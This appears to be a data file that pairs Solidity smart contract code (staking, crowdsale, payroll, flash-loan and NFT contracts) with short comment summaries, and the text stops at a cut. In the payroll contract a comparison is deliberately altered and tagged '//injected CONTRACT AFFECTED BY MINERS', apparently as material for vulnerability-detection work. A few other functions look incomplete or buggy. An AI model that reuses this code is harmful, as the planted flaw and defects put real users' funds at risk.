| 7,844 |
./full_match/1/0xc9C1ffa83c9fEd3801C8Dd43f97578D8980a705F/sources/src/nft/MetafinityCollectionOne.sol
|
If there is no base URI, return the token URI.
|
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _getBaseURI(tokenId);
if (bytes(base).length == 0) {
return _tokenURI;
}
}
| 9,755,274 |
pragma solidity ^0.4.24;
import { ERC20 } from "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol";
import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol";
import { Math } from "openzeppelin-solidity/contracts/math/Math.sol";
import { AvlTree } from "./lib/AvlTree.sol";
import { BytesLib } from "./lib/BytesLib.sol";
import { ECVerify } from "./lib/ECVerify.sol";
import { Lockable } from "./mixin/Lockable.sol";
import { RootChainable } from "./mixin/RootChainable.sol";
import { Validator } from "./Validator.sol";
import { IStakeManager } from "./IStakeManager.sol";
contract StakeManager is IStakeManager, Validator, RootChainable, Lockable {
using SafeMath for uint256;
using SafeMath for uint128;
using ECVerify for bytes32;
uint96 MAX_UINT96 = (2**96)-1; //Todo: replace with erc20 token max value
ERC20 public token;
event ThresholdChange(uint256 newThreshold, uint256 oldThreshold);
event DynastyValueChange(uint256 newDynasty, uint256 oldDynasty);
// optional event to ack unstaking
event UnstakeInit(address indexed user, uint256 indexed amount, uint256 indexed deactivationEpoch);
// signer changed
event SignerChange(address indexed validator, address indexed newSigner, address indexed oldSigner);
// genesis/governance variables
uint256 public dynasty = 2**13; // unit: epoch
uint256 public MIN_DEPOSIT_SIZE = (10**18); // in ERC20 token
uint256 public EPOCH_LENGTH = 256; // unit : block
uint256 public WITHDRAWAL_DELAY = dynasty.div(2); // unit: epoch
uint256 public validatorThreshold = 10; //128
uint256 public maxStakeDrop = 95; // in percent 100-x, current is 5%
uint256 public minLockInPeriod = 2; // unit: dynasty
uint256 public totalStaked = 0;
uint256 public currentEpoch = 1;
// uint256 constant public UNSTAKE_DELAY = DYNASTY.mul(2); // unit: epoch
AvlTree validatorList;
struct Validator {
uint256 epoch;
uint256 amount;
uint256 reward;
uint256 activationEpoch;
uint256 deactivationEpoch;
address signer;
uint96 validatorId;
}
// signer to Validator mapping
mapping (address => address) public signerToValidator;
mapping (uint96 => address) private idToValidator; // for internal use only, for accurate data use validators mapping
mapping (address => Validator) public validators;
struct State {
int256 amount;
int256 stakerCount;
uint96[] removeValidatorIds;
}
//Mapping for epoch to totalStake for that epoch
mapping (uint256 => State) public validatorState;
constructor () public {
validatorList = new AvlTree(); // TODO: bind with stakemanager
}
// only staker
// modifier onlyStaker() {
// require(totalStakedFor(msg.sender) > 0);
// _;
// }
// only staker
modifier onlyStaker(uint256 validatorId) {
require(ownerOf(validatorId) == msg.sender);
_;
}
function stake(uint256 amount, address signer, uint96 validatorId) public {
stakeFor(msg.sender, amount, signer, validatorId);
}
function stakeFor(address user, uint256 amount, address signer, uint96 validatorId) public onlyWhenUnlocked {
require(validators[user].epoch == 0, "No second time staking");
address unstakeValidator = idToValidator[validatorId];
require(validatorId != 0 && validatorId <= validatorThreshold);
require(currentValidatorSetSize() == validatorThreshold || unstakeValidator == address(0x0));
// require(validatorThreshold*2 > validatorList.currentSize(), "Validator set full"); use id
require(amount < MAX_UINT96, "Stay realistic!!");
require(signerToValidator[user] == address(0x0));
uint256 minValue = validatorList.getMin();
if (minValue != 0) {
minValue = minValue >> 160;
minValue = minValue.mul(maxStakeDrop).div(100);
}
minValue = Math.max(minValue, MIN_DEPOSIT_SIZE);
require(amount >= minValue, "Stake should be gt then X% of current lowest");
require(token.transferFrom(msg.sender, address(this), amount), "Transfer stake");
totalStaked = totalStaked.add(amount);
validators[user] = Validator({
validatorId: validatorId,
reward: 0,
epoch: currentEpoch,
amount: amount,
activationEpoch: 0,
deactivationEpoch: 0,
signer: signer
});
signerToValidator[signer] = user; // TODO: revert back to signer
// 96bits amount(10^29) 160 bits user address
uint256 value = amount << 160 | uint160(user);
validatorList.insert(value);
// for empty slot address(0x0) is validator
if (unstakeValidator == address(0x0)) {
validators[user].activationEpoch = currentEpoch;
validatorState[currentEpoch].amount += int256(amount);
validatorState[currentEpoch].stakerCount += int256(1);
} else {
require(validators[unstakeValidator].epoch != 0);
// require(validators[unstakeValidator].activationEpoch != 0 && validators[unstakeValidator].deactivationEpoch == 0);
require(validators[user].amount > validators[unstakeValidator].amount);
// value = validators[unstakeValidator].amount << 160 | uint160(unstakeValidator);
uint256 dPlusTwo = currentEpoch.add(dynasty.mul(2));
validators[unstakeValidator].deactivationEpoch = dPlusTwo;
validators[user].activationEpoch = dPlusTwo;
validatorState[dPlusTwo].amount = (
validatorState[dPlusTwo].amount +
int256(amount) - int256(validators[unstakeValidator].amount)
);
// _clearApproval(unstakeValidator, validatorId);
// _removeTokenFrom(unstakeValidator, validatorId);
// _addTokenTo(user, validatorId);
_burn(unstakeValidator, validatorId);
emit UnstakeInit(unstakeValidator, validators[unstakeValidator].amount, dPlusTwo);
}
_mint(user, validatorId);
idToValidator[validatorId] = user;
emit Staked(user, validators[user].activationEpoch, amount, totalStaked);
}
function unstake(uint96 validatorId) public onlyStaker(validatorId) {
require(validators[msg.sender].activationEpoch > 0 && validators[msg.sender].deactivationEpoch == 0);
uint256 amount = validators[msg.sender].amount;
uint256 exitEpoch = currentEpoch.add(dynasty.mul(2));
validators[msg.sender].deactivationEpoch = exitEpoch;
// update future
validatorState[exitEpoch].amount = (
validatorState[exitEpoch].amount - int256(amount));
validatorState[exitEpoch].stakerCount = (
validatorState[exitEpoch].stakerCount - 1);
_burn(msg.sender, validatorId); // still a validator for D+2, since unstaking won't need NFT properties
// delete idToValidator[validatorId];
validatorState[exitEpoch].removeValidatorIds.push(validatorId);
emit UnstakeInit(msg.sender, amount, exitEpoch);
}
function unstakeClaim(uint96 validatorId) public onlyStaker(validatorId) {
// can only claim stake back after WITHDRAWAL_DELAY
require(validators[msg.sender].deactivationEpoch.add(WITHDRAWAL_DELAY) <= currentEpoch);
uint256 amount = validators[msg.sender].amount;
totalStaked = totalStaked.sub(amount);
validatorList.deleteNode(amount << 160 | uint160(msg.sender));
// TODO :add slashing here use soft slashing in slash amt variable
delete signerToValidator[validators[msg.sender].signer];
delete validators[msg.sender];
require(token.transfer(msg.sender, amount + validators[msg.sender].reward));
emit Unstaked(msg.sender, amount, totalStaked);
}
// returns valid validator for current epoch
function getCurrentValidatorSet() public view returns (address[]) {
address[] memory _validators = validatorList.getTree();
for (uint256 i = 0;i < _validators.length;i++) {
if (!isValidator(_validators[i])) {
delete _validators[i];
}
}
return _validators;
}
function getStakerDetails(address user) public view returns(uint256, uint256, uint256, address, uint96) {
return (
validators[user].amount,
validators[user].activationEpoch,
validators[user].deactivationEpoch,
validators[user].signer,
validators[user].validatorId
);
}
function totalStakedFor(address addr) public view returns (uint256) {
require(addr != address(0x0));
return validators[addr].amount;
}
function supportsHistory() public pure returns (bool) {
return false;
}
// set staking Token
function setToken(address _token) public onlyOwner {
require(_token != address(0x0));
token = ERC20(_token);
}
// Change the number of validators required to allow a passed header root
function updateValidatorThreshold(uint256 newThreshold) public onlyOwner {
require(newThreshold > 0);
emit ThresholdChange(newThreshold, validatorThreshold);
validatorThreshold = newThreshold;
}
function updateDynastyValue(uint256 newDynasty) public onlyOwner {
require(newDynasty > 0);
emit DynastyValueChange(newDynasty, dynasty);
dynasty = newDynasty;
}
function updateSigner(uint256 validatorId, address _signer) public onlyStaker(validatorId) {
require(_signer != address(0x0) && signerToValidator[_signer] == address(0x0));
// update signer event
emit SignerChange(msg.sender, validators[msg.sender].signer, _signer);
delete signerToValidator[validators[msg.sender].signer];
signerToValidator[_signer] = msg.sender;
validators[msg.sender].signer = _signer;
}
function finalizeCommit() public onlyRootChain {
uint256 nextEpoch = currentEpoch.add(1);
// update totalstake and validator count
validatorState[nextEpoch].amount = (
validatorState[currentEpoch].amount + validatorState[nextEpoch].amount
);
validatorState[nextEpoch].stakerCount = (
validatorState[currentEpoch].stakerCount + validatorState[nextEpoch].stakerCount
);
for (uint64 i = 0;i < validatorState[nextEpoch].removeValidatorIds.length;i++) {
delete idToValidator[validatorState[nextEpoch].removeValidatorIds[i]];
}
// erase old data/history
delete validatorState[currentEpoch];
currentEpoch = nextEpoch;
}
function updateMinLockInPeriod(uint256 epochs) public onlyOwner {
minLockInPeriod = epochs;
}
function currentValidatorSetSize() public view returns (uint256) {
return uint256(validatorState[currentEpoch].stakerCount);
}
function currentValidatorSetTotalStake() public view returns (uint256) {
return uint256(validatorState[currentEpoch].amount);
}
function isValidator(address user) public view returns (bool) {
return (
validators[user].amount > 0 &&
(validators[user].activationEpoch != 0 &&
validators[user].activationEpoch <= currentEpoch ) &&
(validators[user].deactivationEpoch == 0 ||
validators[user].deactivationEpoch >= currentEpoch)
);
}
function checkSignatures (
bytes32 voteHash,
bytes sigs
) public view onlyRootChain returns (bool) {
// total voting power
uint256 stakePower = 0;
address user;
address lastAdd = address(0x0); // cannot have address(0x0) as an owner
for (uint64 i = 0; i < sigs.length; i += 65) {
bytes memory sigElement = BytesLib.slice(sigs, i, 65);
address signer = voteHash.ecrecovery(sigElement);
user = signerToValidator[signer];
// check if signer is stacker and not proposer
if (
isValidator(user) &&
signer > lastAdd
) {
lastAdd = signer;
stakePower = stakePower.add(validators[user].amount);
} else {
break;
}
}
return stakePower >= currentValidatorSetTotalStake().mul(2).div(3).add(1);
}
}
|
update signer event
|
function updateSigner(uint256 validatorId, address _signer) public onlyStaker(validatorId) {
require(_signer != address(0x0) && signerToValidator[_signer] == address(0x0));
emit SignerChange(msg.sender, validators[msg.sender].signer, _signer);
delete signerToValidator[validators[msg.sender].signer];
signerToValidator[_signer] = msg.sender;
validators[msg.sender].signer = _signer;
}
| 15,844,095 |
pragma solidity 0.4.18;
/*
* https://github.com/OpenZeppelin/zeppelin-solidity
*
* The MIT License (MIT)
* Copyright (c) 2016 Smart Contract Solutions, Inc.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
* https://github.com/OpenZeppelin/zeppelin-solidity
*
* The MIT License (MIT)
* Copyright (c) 2016 Smart Contract Solutions, Inc.
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Token interface compatible with ICO Crowdsale
* @author Jakub Stefanski (https://github.com/jstefanski)
* @author Wojciech Harzowski (https://github.com/harzo)
* @author Dominik Kroliczek (https://github.com/kruligh)
*
* https://github.com/OnLivePlatform/onlive-contracts
*
* The BSD 3-Clause Clear License
* Copyright (c) 2018 OnLive LTD
*/
contract IcoToken {
uint256 public decimals;
function transfer(address to, uint256 amount) public;
function mint(address to, uint256 amount) public;
function burn(uint256 amount) public;
function balanceOf(address who) public view returns (uint256);
}
/**
* @title ICO Crowdsale with multiple price tiers and limited supply
* @author Jakub Stefanski (https://github.com/jstefanski)
* @author Wojciech Harzowski (https://github.com/harzo)
* @author Dominik Kroliczek (https://github.com/kruligh)
*
* https://github.com/OnLivePlatform/onlive-contracts
*
* The BSD 3-Clause Clear License
* Copyright (c) 2018 OnLive LTD
*/
contract IcoCrowdsale is Ownable {
using SafeMath for uint256;
/**
* @dev Structure representing price tier
*/
struct Tier {
/**
* @dev The first block of the tier (inclusive)
*/
uint256 startBlock;
/**
* @dev Price of token in Wei
*/
uint256 price;
}
/**
* @dev Address of contribution wallet
*/
address public wallet;
/**
* @dev Address of compatible token instance
*/
IcoToken public token;
/**
* @dev Minimum ETH value sent as contribution
*/
uint256 public minValue;
/**
* @dev Indicates whether contribution identified by bytes32 id is already registered
*/
mapping (bytes32 => bool) public isContributionRegistered;
/**
* @dev Stores price tiers in chronological order
*/
Tier[] private tiers;
/**
* @dev The last block of crowdsale (inclusive)
*/
uint256 public endBlock;
modifier onlySufficientValue(uint256 value) {
require(value >= minValue);
_;
}
modifier onlyUniqueContribution(bytes32 id) {
require(!isContributionRegistered[id]);
_;
}
modifier onlyActive() {
require(isActive());
_;
}
modifier onlyFinished() {
require(isFinished());
_;
}
modifier onlyScheduledTiers() {
require(tiers.length > 0);
_;
}
modifier onlyNotFinalized() {
require(!isFinalized());
_;
}
modifier onlySubsequentBlock(uint256 startBlock) {
if (tiers.length > 0) {
require(startBlock > tiers[tiers.length - 1].startBlock);
}
_;
}
modifier onlyNotZero(uint256 value) {
require(value != 0);
_;
}
modifier onlyValid(address addr) {
require(addr != address(0));
_;
}
function IcoCrowdsale(
address _wallet,
IcoToken _token,
uint256 _minValue
)
public
onlyValid(_wallet)
onlyValid(_token)
{
wallet = _wallet;
token = _token;
minValue = _minValue;
}
/**
* @dev Contribution is accepted
* @param contributor address The recipient of the tokens
* @param value uint256 The amount of contributed ETH
* @param amount uint256 The amount of tokens
*/
event ContributionAccepted(address indexed contributor, uint256 value, uint256 amount);
/**
* @dev Off-chain contribution registered
* @param id bytes32 A unique contribution id
* @param contributor address The recipient of the tokens
* @param amount uint256 The amount of tokens
*/
event ContributionRegistered(bytes32 indexed id, address indexed contributor, uint256 amount);
/**
* @dev Tier scheduled with given start block and price
* @param startBlock uint256 The first block of tier activation (inclusive)
* @param price uint256 The price active during tier
*/
event TierScheduled(uint256 startBlock, uint256 price);
/**
* @dev Crowdsale end block scheduled
* @param availableAmount uint256 The amount of tokens available in crowdsale
* @param endBlock uint256 The last block of crowdsale (inclusive)
*/
event Finalized(uint256 endBlock, uint256 availableAmount);
/**
* @dev Unsold tokens burned
*/
event RemainsBurned(uint256 burnedAmount);
/**
* @dev Accept ETH transfers as contributions
*/
function () public payable {
acceptContribution(msg.sender, msg.value);
}
/**
* @dev Contribute ETH in exchange for tokens
* @param contributor address The address that receives tokens
* @return uint256 Amount of received ONL tokens
*/
function contribute(address contributor) public payable returns (uint256) {
return acceptContribution(contributor, msg.value);
}
/**
* @dev Register contribution with given id
* @param id bytes32 A unique contribution id
* @param contributor address The recipient of the tokens
* @param amount uint256 The amount of tokens
*/
function registerContribution(bytes32 id, address contributor, uint256 amount)
public
onlyOwner
onlyActive
onlyValid(contributor)
onlyNotZero(amount)
onlyUniqueContribution(id)
{
isContributionRegistered[id] = true;
token.transfer(contributor, amount);
ContributionRegistered(id, contributor, amount);
}
/**
* @dev Schedule price tier
* @param _startBlock uint256 Block when the tier activates, inclusive
* @param _price uint256 The price of the tier
*/
function scheduleTier(uint256 _startBlock, uint256 _price)
public
onlyOwner
onlyNotFinalized
onlySubsequentBlock(_startBlock)
onlyNotZero(_startBlock)
onlyNotZero(_price)
{
tiers.push(
Tier({
startBlock: _startBlock,
price: _price
})
);
TierScheduled(_startBlock, _price);
}
/**
* @dev Schedule crowdsale end
* @param _endBlock uint256 The last block end of crowdsale (inclusive)
* @param _availableAmount uint256 Amount of tokens available in crowdsale
*/
function finalize(uint256 _endBlock, uint256 _availableAmount)
public
onlyOwner
onlyNotFinalized
onlyScheduledTiers
onlySubsequentBlock(_endBlock)
onlyNotZero(_availableAmount)
{
endBlock = _endBlock;
token.mint(this, _availableAmount);
Finalized(_endBlock, _availableAmount);
}
/**
* @dev Burns all tokens which have not been sold
*/
function burnRemains()
public
onlyOwner
onlyFinished
{
uint256 amount = availableAmount();
token.burn(amount);
RemainsBurned(amount);
}
/**
* @dev Calculate amount of ONL tokens received for given ETH value
* @param value uint256 Contribution value in wei
* @return uint256 Amount of received ONL tokens if contract active, otherwise 0
*/
function calculateContribution(uint256 value) public view returns (uint256) {
uint256 price = currentPrice();
if (price > 0) {
return value.mul(10 ** token.decimals()).div(price);
}
return 0;
}
/**
* @dev Find closest tier id to given block
* @return uint256 Tier containing the block or zero if before start or last if after finished
*/
function getTierId(uint256 blockNumber) public view returns (uint256) {
for (uint256 i = tiers.length - 1; i >= 0; i--) {
if (blockNumber >= tiers[i].startBlock) {
return i;
}
}
return 0;
}
/**
* @dev Get price of the current tier
* @return uint256 Current price if tiers defined, otherwise 0
*/
function currentPrice() public view returns (uint256) {
if (tiers.length > 0) {
uint256 id = getTierId(block.number);
return tiers[id].price;
}
return 0;
}
/**
* @dev Get current tier id
* @return uint256 Tier containing the block or zero if before start or last if after finished
*/
function currentTierId() public view returns (uint256) {
return getTierId(block.number);
}
/**
* @dev Get available amount of tokens
* @return uint256 Amount of unsold tokens
*/
function availableAmount() public view returns (uint256) {
return token.balanceOf(this);
}
/**
* @dev Get specification of all tiers
*/
function listTiers()
public
view
returns (uint256[] startBlocks, uint256[] endBlocks, uint256[] prices)
{
startBlocks = new uint256[](tiers.length);
endBlocks = new uint256[](tiers.length);
prices = new uint256[](tiers.length);
for (uint256 i = 0; i < tiers.length; i++) {
startBlocks[i] = tiers[i].startBlock;
prices[i] = tiers[i].price;
if (i + 1 < tiers.length) {
endBlocks[i] = tiers[i + 1].startBlock - 1;
} else {
endBlocks[i] = endBlock;
}
}
}
/**
* @dev Check whether crowdsale is currently active
* @return boolean True if current block number is within tier ranges, otherwise False
*/
function isActive() public view returns (bool) {
return
tiers.length > 0 &&
block.number >= tiers[0].startBlock &&
block.number <= endBlock;
}
/**
* @dev Check whether sale end is scheduled
* @return boolean True if end block is defined, otherwise False
*/
function isFinalized() public view returns (bool) {
return endBlock > 0;
}
/**
* @dev Check whether crowdsale has finished
* @return boolean True if end block passed, otherwise False
*/
function isFinished() public view returns (bool) {
return endBlock > 0 && block.number > endBlock;
}
function acceptContribution(address contributor, uint256 value)
private
onlyActive
onlyValid(contributor)
onlySufficientValue(value)
returns (uint256)
{
uint256 amount = calculateContribution(value);
token.transfer(contributor, amount);
wallet.transfer(value);
ContributionAccepted(contributor, value, amount);
return amount;
}
}
|
Find closest tier id to given block return uint256 Tier containing the block or zero if before start or last if after finished/
|
function getTierId(uint256 blockNumber) public view returns (uint256) {
for (uint256 i = tiers.length - 1; i >= 0; i--) {
if (blockNumber >= tiers[i].startBlock) {
return i;
}
}
return 0;
}
| 1,072,419 |
./partial_match/1/0xbc6a1af02c09fc1514B95eC98756ccAa95e8Af2e/sources/GEtherBridge.sol
|
This function should be called as the final step of the flash loan to properly implement the repay of the loan. _provider The flash loan provider, either Aave or Dydx. _token The reserve token. _grossAmount The amount to be repayed including repay fees./
|
function _paybackFlashLoan(Provider _provider, address _token, uint256 _grossAmount) internal
{
if (_provider == Provider.Aave) return AaveFlashLoanAbstraction._paybackFlashLoan(_token, _grossAmount);
if (_provider == Provider.Dydx) return DydxFlashLoanAbstraction._paybackFlashLoan(_token, _grossAmount);
}
| 2,650,863 |
pragma solidity ^0.5.2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <[email protected]>, Eenae <[email protected]>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
/**
* Phat Cats - Crypto-Cards
* - https://crypto-cards.io
* - https://phatcats.co
*
* Copyright 2019 (c) Phat Cats, Inc.
*/
/**
* @title Crypto-Cards Payroll
*/
contract CryptoCardsPayroll is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event PayeeAdded(address account, uint256 shares);
event PayeeUpdated(address account, uint256 sharesAdded, uint256 totalShares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
uint256 private _totalReleasedAllTime;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
/**
* @dev Constructor
*/
constructor () public {}
/**
* @dev payable fallback
*/
function () external payable {
emit PaymentReceived(msg.sender, msg.value);
}
/**
* @return the total shares of the contract.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @return the total amount already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @return the total amount already released.
*/
function totalReleasedAllTime() public view returns (uint256) {
return _totalReleasedAllTime;
}
/**
* @return the total amount of funds in the contract.
*/
function totalFunds() public view returns (uint256) {
return address(this).balance;
}
/**
* @return the shares of an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @return the shares of an account.
*/
function sharePercentage(address account) public view returns (uint256) {
if (_totalShares == 0 || _shares[account] == 0) { return 0; }
return _shares[account].mul(100).div(_totalShares);
}
/**
* @return the amount already released to an account.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @return the amount available for release to an account.
*/
function available(address account) public view returns (uint256) {
uint256 totalReceived = address(this).balance.add(_totalReleased);
uint256 totalCut = totalReceived.mul(_shares[account]).div(_totalShares);
if (block.number < _released[account]) { return 0; } //injected CONTRACT AFFECTED BY MINERS
return totalCut.sub(_released[account]);
}
/**
* @return the address of a payee.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Release payee's proportional payment.
*/
function release() external nonReentrant {
address payable account = address(uint160(msg.sender));
require(_shares[account] > 0, "Account not eligible for payroll");
uint256 payment = available(account);
require(payment != 0, "No payment available for account");
_release(account, payment);
}
/**
* @dev Release payment for all payees and reset state
*/
function releaseAll() public onlyOwner {
_releaseAll();
_resetAll();
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function addNewPayee(address account, uint256 shares_) public onlyOwner {
require(account != address(0), "Invalid account");
require(Address.isContract(account) == false, "Account cannot be a contract");
require(shares_ > 0, "Shares must be greater than zero");
require(_shares[account] == 0, "Payee already exists");
require(_totalReleased == 0, "Must release all existing payments first");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares.add(shares_);
emit PayeeAdded(account, shares_);
}
/**
* @dev Increase he shares of an existing payee
* @param account The address of the payee to increase.
* @param shares_ The number of shares to add to the payee.
*/
function increasePayeeShares(address account, uint256 shares_) public onlyOwner {
require(account != address(0), "Invalid account");
require(shares_ > 0, "Shares must be greater than zero");
require(_shares[account] > 0, "Payee does not exist");
require(_totalReleased == 0, "Must release all existing payments first");
_shares[account] = _shares[account].add(shares_);
_totalShares = _totalShares.add(shares_);
emit PayeeUpdated(account, shares_, _shares[account]);
}
/**
* @dev Release one of the payee's proportional payment.
* @param account Whose payments will be released.
*/
function _release(address payable account, uint256 payment) private {
_released[account] = _released[account].add(payment);
_totalReleased = _totalReleased.add(payment);
_totalReleasedAllTime = _totalReleasedAllTime.add(payment);
account.transfer(payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Release payment for all payees
*/
function _releaseAll() private {
for (uint256 i = 0; i < _payees.length; i++) {
_release(address(uint160(_payees[i])), available(_payees[i]));
}
}
/**
* @dev Reset state of released payments for all payees
*/
function _resetAll() private {
for (uint256 i = 0; i < _payees.length; i++) {
_released[_payees[i]] = 0;
}
_totalReleased = 0;
}
}
|
Release payment for all payees/
|
function _releaseAll() private {
for (uint256 i = 0; i < _payees.length; i++) {
_release(address(uint160(_payees[i])), available(_payees[i]));
}
}
| 14,066,576 |
./full_match/3/0x45079030B393CDcf52bBF1E385dD5e825c41777a/sources/demo.sol
|
Creates a new request, logs the request info in an event, then saves a hash of it on-chain in `_hashedReqs`. Uses the default for whether to pay in ETH or AUTO target The contract address that needs to be called referer The referer to get rewarded for referring the sender to using Autonomy. Usally the address of a dapp owner callData The calldata of the call that the request is to make, i.e. the fcn identifier + inputs, encoded ethForCall The ETH to send with the call verifyUser Whether the 1st input of the calldata equals the sender. Needed for dapps to know who the sender is whilst ensuring that the sender intended that fcn and contract to be called - dapps will require that msg.sender is the Verified Forwarder, and only requests that have `verifyUser` = true will be forwarded via the Verified Forwarder, so any calls coming from it are guaranteed to have the 1st argument be the sender insertFeeAmount Whether the gas estimate of the executor should be inserted into the callData isAlive Whether or not the request should be deleted after it's executed for the first time. If `true`, the request will exist permanently (tho it can be cancelled any time), therefore executing the same request repeatedly aslong as the request is executable, and can be used to create fully autonomous contracts - the first single-celled cyber life. We are the gods now return id The id of the request, equal to the index in `_hashedReqs`/ Creates a new request, logs the request info in an event, then saves a hash of it on-chain in `_hashedReqs` target The contract address that needs to be called referer The referer to get rewarded for referring the sender to using Autonomy. Usally the address of a dapp owner callData The calldata of the call that the request is to make, i.e. the fcn identifier + inputs, encoded ethForCall The ETH to send with the call verifyUser Whether the 1st input of the calldata equals the sender. Needed for dapps to know who the sender is whilst ensuring that the sender intended that fcn and contract to be called - dapps will require that msg.sender is the Verified Forwarder, and only requests that have `verifyUser` = true will be forwarded via the Verified Forwarder, so any calls coming from it are guaranteed to have the 1st argument be the sender insertFeeAmount Whether the gas estimate of the executor should be inserted into the callData payWithAUTO Whether the sender wants to pay for the request in AUTO or ETH. Paying in AUTO reduces the fee isAlive Whether or not the request should be deleted after it's executed for the first time. If `true`, the request will exist permanently (tho it can be cancelled any time), therefore executing the same request repeatedly aslong as the request is executable, and can be used to create fully autonomous contracts - the first single-celled cyber life. We are the gods now return id The id of the request, equal to the index in `_hashedReqs`/ Gets all keccak256 hashes of encoded requests. Completed requests will be 0x00 return [bytes32[]] An array of all hashes/ Gets part of the keccak256 hashes of encoded requests. Completed requests will be 0x00. Needed since the array will 